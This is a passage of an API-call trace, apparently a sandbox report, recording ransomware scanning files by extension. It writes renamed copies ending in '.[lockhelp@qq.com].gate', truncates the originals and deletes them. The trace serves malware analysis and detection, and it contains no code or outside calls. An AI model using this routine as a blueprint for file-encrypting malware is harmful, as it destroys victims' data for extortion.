"c:\\$getcurrent\\safeos\\getcurrentoobe.dll")) returned 1 [0110.412] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0110.412] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0110.412] lstrlenW (lpString=".doc") returned 4 [0110.412] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0110.412] lstrlenW (lpString=".docx") returned 5 [0110.412] lstrcmpiW (lpString1=".docx", lpString2="E.dll") returned -1 [0110.412] lstrlenW (lpString=".pdf") returned 4 [0110.412] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0110.412] lstrlenW (lpString=".xls") returned 4 [0110.412] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0110.412] lstrlenW (lpString=".xlsx") returned 5 [0110.412] lstrcmpiW (lpString1=".xlsx", lpString2="E.dll") returned -1 [0110.412] lstrlenW (lpString=".ppt") returned 4 [0110.412] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0110.412] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0110.412] lstrlenW (lpString=".zip") returned 4 [0110.412] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0110.412] lstrlenW (lpString=".rar") returned 4 [0110.412] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0110.413] lstrlenW (lpString=".bz2") returned 4 [0110.413] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0110.413] lstrlenW (lpString=".7z") returned 3 [0110.413] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0110.413] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0110.413] lstrlenW (lpString=".dbf") returned 4 [0110.413] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0110.413] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0110.413] lstrlenW (lpString=".1cd") returned 4 [0110.413] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0110.413] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0110.413] lstrlenW (lpString=".jpg") returned 4 [0110.413] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0110.413] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0110.413] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0110.413] lstrlenW (lpString=".doc") returned 4 [0110.413] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0110.413] lstrlenW (lpString=".docx") returned 5 [0110.413] lstrcmpiW (lpString1=".docx", lpString2="E.dll") returned -1 [0110.413] lstrlenW (lpString=".pdf") returned 4 [0110.413] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0110.413] lstrlenW (lpString=".xls") returned 4 [0110.413] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0110.413] lstrlenW (lpString=".xlsx") returned 5 [0110.413] lstrcmpiW (lpString1=".xlsx", lpString2="E.dll") returned -1 [0110.413] lstrlenW (lpString=".ppt") returned 4 [0110.414] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0110.414] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0110.414] lstrlenW (lpString=".zip") returned 4 [0110.414] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0110.414] lstrlenW (lpString=".rar") returned 4 [0110.414] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0110.414] lstrlenW (lpString=".bz2") returned 4 [0110.414] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0110.414] lstrlenW (lpString=".7z") returned 3 [0110.414] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0110.414] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0110.414] lstrlenW (lpString=".dbf") returned 4 [0110.414] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0110.414] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0110.414] lstrlenW (lpString=".1cd") returned 4 [0110.414] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0110.414] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0110.414] lstrlenW (lpString=".jpg") returned 4 [0110.414] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0110.414] lstrcmpiW (lpString1=".MARKER", lpString2=".gate") returned 1 [0110.414] lstrlenW (lpString="$WINRE_BACKUP_PARTITION.MARKER") returned 30 [0110.414] CreateFileW (lpFileName="C:\\$WINRE_BACKUP_PARTITION.MARKER" (normalized: "c:\\$winre_backup_partition.marker"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0110.426] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x266ff14 | out: lpFileSize=0x266ff14*=0) returned 1 [0110.426] CloseHandle (hObject=0x31c) returned 1 [0110.426] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0110.427] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0110.427] lstrlenW (lpString=".doc") returned 4 [0110.427] lstrcmpiW (lpString1=".doc", lpString2="RKER") returned -1 [0110.427] lstrlenW (lpString=".docx") returned 5 [0110.427] lstrcmpiW (lpString1=".docx", lpString2="ARKER") returned -1 [0110.427] lstrlenW (lpString=".pdf") returned 4 [0110.427] lstrcmpiW (lpString1=".pdf", lpString2="RKER") returned -1 [0110.427] lstrlenW (lpString=".xls") returned 4 [0110.427] lstrcmpiW (lpString1=".xls", lpString2="RKER") returned -1 [0110.427] lstrlenW (lpString=".xlsx") returned 5 [0110.427] lstrcmpiW (lpString1=".xlsx", lpString2="ARKER") returned -1 [0110.427] lstrlenW (lpString=".ppt") returned 4 [0110.427] lstrcmpiW (lpString1=".ppt", lpString2="RKER") returned -1 [0110.427] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0110.427] lstrlenW (lpString=".zip") returned 4 [0110.427] lstrcmpiW (lpString1=".zip", lpString2="RKER") returned -1 [0110.427] lstrlenW (lpString=".rar") returned 4 [0110.427] lstrcmpiW (lpString1=".rar", lpString2="RKER") returned -1 [0110.427] lstrlenW (lpString=".bz2") returned 4 [0110.427] lstrcmpiW (lpString1=".bz2", lpString2="RKER") returned -1 [0110.427] lstrlenW (lpString=".7z") returned 3 [0110.427] lstrcmpiW (lpString1=".7z", lpString2="KER") returned -1 [0110.427] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0110.427] lstrlenW (lpString=".dbf") returned 4 [0110.427] lstrcmpiW (lpString1=".dbf", lpString2="RKER") returned -1 [0110.427] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0110.427] lstrlenW (lpString=".1cd") returned 4 [0110.428] lstrcmpiW (lpString1=".1cd", lpString2="RKER") returned -1 [0110.428] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0110.428] lstrlenW (lpString=".jpg") returned 4 [0110.428] lstrcmpiW (lpString1=".jpg", lpString2="RKER") returned -1 [0110.428] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0110.428] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0110.428] lstrlenW (lpString=".doc") returned 4 [0110.428] lstrcmpiW (lpString1=".doc", lpString2="RKER") returned -1 [0110.428] lstrlenW (lpString=".docx") returned 5 [0110.428] lstrcmpiW (lpString1=".docx", lpString2="ARKER") returned -1 [0110.428] lstrlenW (lpString=".pdf") returned 4 [0110.428] lstrcmpiW (lpString1=".pdf", lpString2="RKER") returned -1 [0110.428] lstrlenW (lpString=".xls") returned 4 [0110.428] lstrcmpiW (lpString1=".xls", lpString2="RKER") returned -1 [0110.428] lstrlenW (lpString=".xlsx") returned 5 [0110.428] lstrcmpiW (lpString1=".xlsx", lpString2="ARKER") returned -1 [0110.428] lstrlenW (lpString=".ppt") returned 4 [0110.428] lstrcmpiW (lpString1=".ppt", lpString2="RKER") returned -1 [0110.428] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0110.428] lstrlenW (lpString=".zip") returned 4 [0110.428] lstrcmpiW (lpString1=".zip", lpString2="RKER") returned -1 [0110.428] lstrlenW (lpString=".rar") returned 4 [0110.428] lstrcmpiW (lpString1=".rar", lpString2="RKER") returned -1 [0110.428] lstrlenW (lpString=".bz2") returned 4 [0110.428] lstrcmpiW (lpString1=".bz2", lpString2="RKER") returned -1 [0110.428] lstrlenW (lpString=".7z") returned 3 [0110.429] lstrcmpiW (lpString1=".7z", lpString2="KER") returned -1 [0110.429] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0110.429] lstrlenW (lpString=".dbf") returned 4 [0110.429] lstrcmpiW (lpString1=".dbf", lpString2="RKER") returned -1 [0110.429] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0110.429] lstrlenW (lpString=".1cd") returned 4 [0110.429] lstrcmpiW (lpString1=".1cd", lpString2="RKER") returned -1 [0110.429] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0110.429] lstrlenW (lpString=".jpg") returned 4 [0110.429] lstrcmpiW (lpString1=".jpg", lpString2="RKER") returned -1 [0110.429] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0110.429] lstrlenW (lpString="SetupResources.dll") returned 18 [0110.429] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0110.432] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x266ff14 | out: lpFileSize=0x266ff14*=17240) returned 1 [0110.432] CloseHandle (hObject=0x31c) returned 1 [0110.432] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll")) returned 0x80 [0110.432] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0110.432] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0110.432] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0110.433] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0110.433] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0110.433] GetLastError () returned 0x0 [0110.433] ReadFile (in: hFile=0x31c, lpBuffer=0x38b5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesRead=0x266fecc*=0x4358, lpOverlapped=0x0) returned 1 [0110.584] WriteFile (in: hFile=0x310, lpBuffer=0x38b5020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesWritten=0x266fc94*=0x4360, lpOverlapped=0x0) returned 1 [0110.585] ReadFile (in: hFile=0x31c, lpBuffer=0x38b5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesRead=0x266fecc*=0x0, lpOverlapped=0x0) returned 1 [0110.585] WriteFile (in: hFile=0x310, lpBuffer=0x38b5020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesWritten=0x266fc94*=0xf8, lpOverlapped=0x0) returned 1 [0110.585] SetEndOfFile (hFile=0x310) returned 1 [0110.585] CloseHandle (hObject=0x310) returned 1 [0110.586] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0110.586] SetEndOfFile (hFile=0x31c) returned 1 [0110.587] CloseHandle (hObject=0x31c) returned 1 [0110.587] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0110.588] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll")) returned 1 [0110.588] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0110.588] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0110.588] lstrlenW (lpString=".doc") returned 4 [0110.588] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0110.588] lstrlenW (lpString=".docx") returned 5 [0110.588] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0110.588] lstrlenW (lpString=".pdf") returned 4 [0110.588] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0110.588] lstrlenW (lpString=".xls") returned 4 [0110.588] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0110.588] lstrlenW (lpString=".xlsx") returned 5 [0110.588] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0110.588] lstrlenW (lpString=".ppt") returned 4 [0110.588] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0110.588] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0110.588] lstrlenW (lpString=".zip") returned 4 [0110.588] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0110.588] lstrlenW (lpString=".rar") returned 4 [0110.588] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0110.588] lstrlenW (lpString=".bz2") returned 4 [0110.588] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0110.588] lstrlenW (lpString=".7z") returned 3 [0110.588] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0110.588] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0110.588] lstrlenW (lpString=".dbf") returned 4 [0110.588] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0110.588] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0110.588] lstrlenW (lpString=".1cd") returned 4 [0110.589] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0110.589] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0110.589] lstrlenW (lpString=".jpg") returned 4 [0110.589] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0110.589] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0110.589] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0110.589] lstrlenW (lpString=".doc") returned 4 [0110.589] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0110.589] lstrlenW (lpString=".docx") returned 5 [0110.589] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0110.589] lstrlenW (lpString=".pdf") returned 4 [0110.589] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0110.589] lstrlenW (lpString=".xls") returned 4 [0110.589] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0110.589] lstrlenW (lpString=".xlsx") returned 5 [0110.589] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0110.589] lstrlenW (lpString=".ppt") returned 4 [0110.589] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0110.589] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0110.589] lstrlenW (lpString=".zip") returned 4 [0110.589] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0110.589] lstrlenW (lpString=".rar") returned 4 [0110.589] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0110.589] lstrlenW (lpString=".bz2") returned 4 [0110.589] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0110.589] lstrlenW (lpString=".7z") returned 3 [0110.589] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0110.589] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0110.589] lstrlenW (lpString=".dbf") returned 4 [0110.589] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0110.589] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0110.589] lstrlenW (lpString=".1cd") returned 4 [0110.589] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0110.589] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0110.590] lstrlenW (lpString=".jpg") returned 4 [0110.590] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0110.590] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0110.590] lstrlenW (lpString="SetupResources.dll") returned 18 [0110.590] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0110.601] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x266ff14 | out: lpFileSize=0x266ff14*=14168) returned 1 [0110.601] CloseHandle (hObject=0x314) returned 1 [0110.601] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll")) returned 0x80 [0110.602] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0110.602] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0110.602] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0110.602] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0110.602] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0110.606] GetLastError () returned 0x0 [0110.607] ReadFile (in: hFile=0x314, lpBuffer=0x38b5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesRead=0x266fecc*=0x3758, lpOverlapped=0x0) returned 1 [0110.629] WriteFile (in: hFile=0x2c0, lpBuffer=0x38b5020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesWritten=0x266fc94*=0x3760, lpOverlapped=0x0) returned 1 [0110.630] ReadFile (in: hFile=0x314, lpBuffer=0x38b5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesRead=0x266fecc*=0x0, lpOverlapped=0x0) returned 1 [0110.630] WriteFile (in: hFile=0x2c0, lpBuffer=0x38b5020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesWritten=0x266fc94*=0xf8, lpOverlapped=0x0) returned 1 [0110.631] SetEndOfFile (hFile=0x2c0) returned 1 [0110.631] CloseHandle (hObject=0x2c0) returned 1 [0110.632] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0110.632] SetEndOfFile (hFile=0x314) returned 1 [0110.632] CloseHandle (hObject=0x314) returned 1 [0110.633] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0110.633] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll")) returned 1 [0110.633] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0110.633] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0110.633] lstrlenW (lpString=".doc") returned 4 [0110.633] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0110.633] lstrlenW (lpString=".docx") returned 5 [0110.633] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0110.633] lstrlenW (lpString=".pdf") returned 4 [0110.633] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0110.633] lstrlenW (lpString=".xls") returned 4 [0110.633] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0110.633] lstrlenW (lpString=".xlsx") returned 5 [0110.633] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0110.633] lstrlenW (lpString=".ppt") returned 4 [0110.633] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0110.633] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0110.634] lstrlenW (lpString=".zip") returned 4 [0110.634] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0110.634] lstrlenW (lpString=".rar") returned 4 [0110.634] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0110.634] lstrlenW (lpString=".bz2") returned 4 [0110.634] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0110.634] lstrlenW (lpString=".7z") returned 3 [0110.634] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0110.634] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0110.634] lstrlenW (lpString=".dbf") returned 4 [0110.634] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0110.634] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0110.634] lstrlenW (lpString=".1cd") returned 4 [0110.634] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0110.634] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0110.634] lstrlenW (lpString=".jpg") returned 4 [0110.634] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0110.634] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0110.634] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0110.634] lstrlenW (lpString=".doc") returned 4 [0110.634] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0110.634] lstrlenW (lpString=".docx") returned 5 [0110.634] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0110.634] lstrlenW (lpString=".pdf") returned 4 [0110.634] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0110.634] lstrlenW (lpString=".xls") returned 4 [0110.634] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0110.634] lstrlenW (lpString=".xlsx") returned 5 [0110.634] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0110.634] lstrlenW (lpString=".ppt") returned 4 [0110.634] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0110.634] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0110.634] lstrlenW (lpString=".zip") returned 4 [0110.634] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0110.634] lstrlenW (lpString=".rar") returned 4 [0110.635] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0110.635] lstrlenW (lpString=".bz2") returned 4 [0110.635] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0110.635] lstrlenW (lpString=".7z") returned 3 [0110.635] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0110.635] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0110.635] lstrlenW (lpString=".dbf") returned 4 [0110.635] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0110.635] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0110.635] lstrlenW (lpString=".1cd") returned 4 [0110.635] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0110.635] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0110.635] lstrlenW (lpString=".jpg") returned 4 [0110.635] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0110.635] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0110.635] lstrlenW (lpString="SetupResources.dll") returned 18 [0110.635] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0110.635] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x266ff14 | out: lpFileSize=0x266ff14*=18264) returned 1 [0110.635] CloseHandle (hObject=0x314) returned 1 [0110.635] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll")) returned 0x80 [0110.635] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0110.636] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0110.636] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0110.636] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0110.636] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: 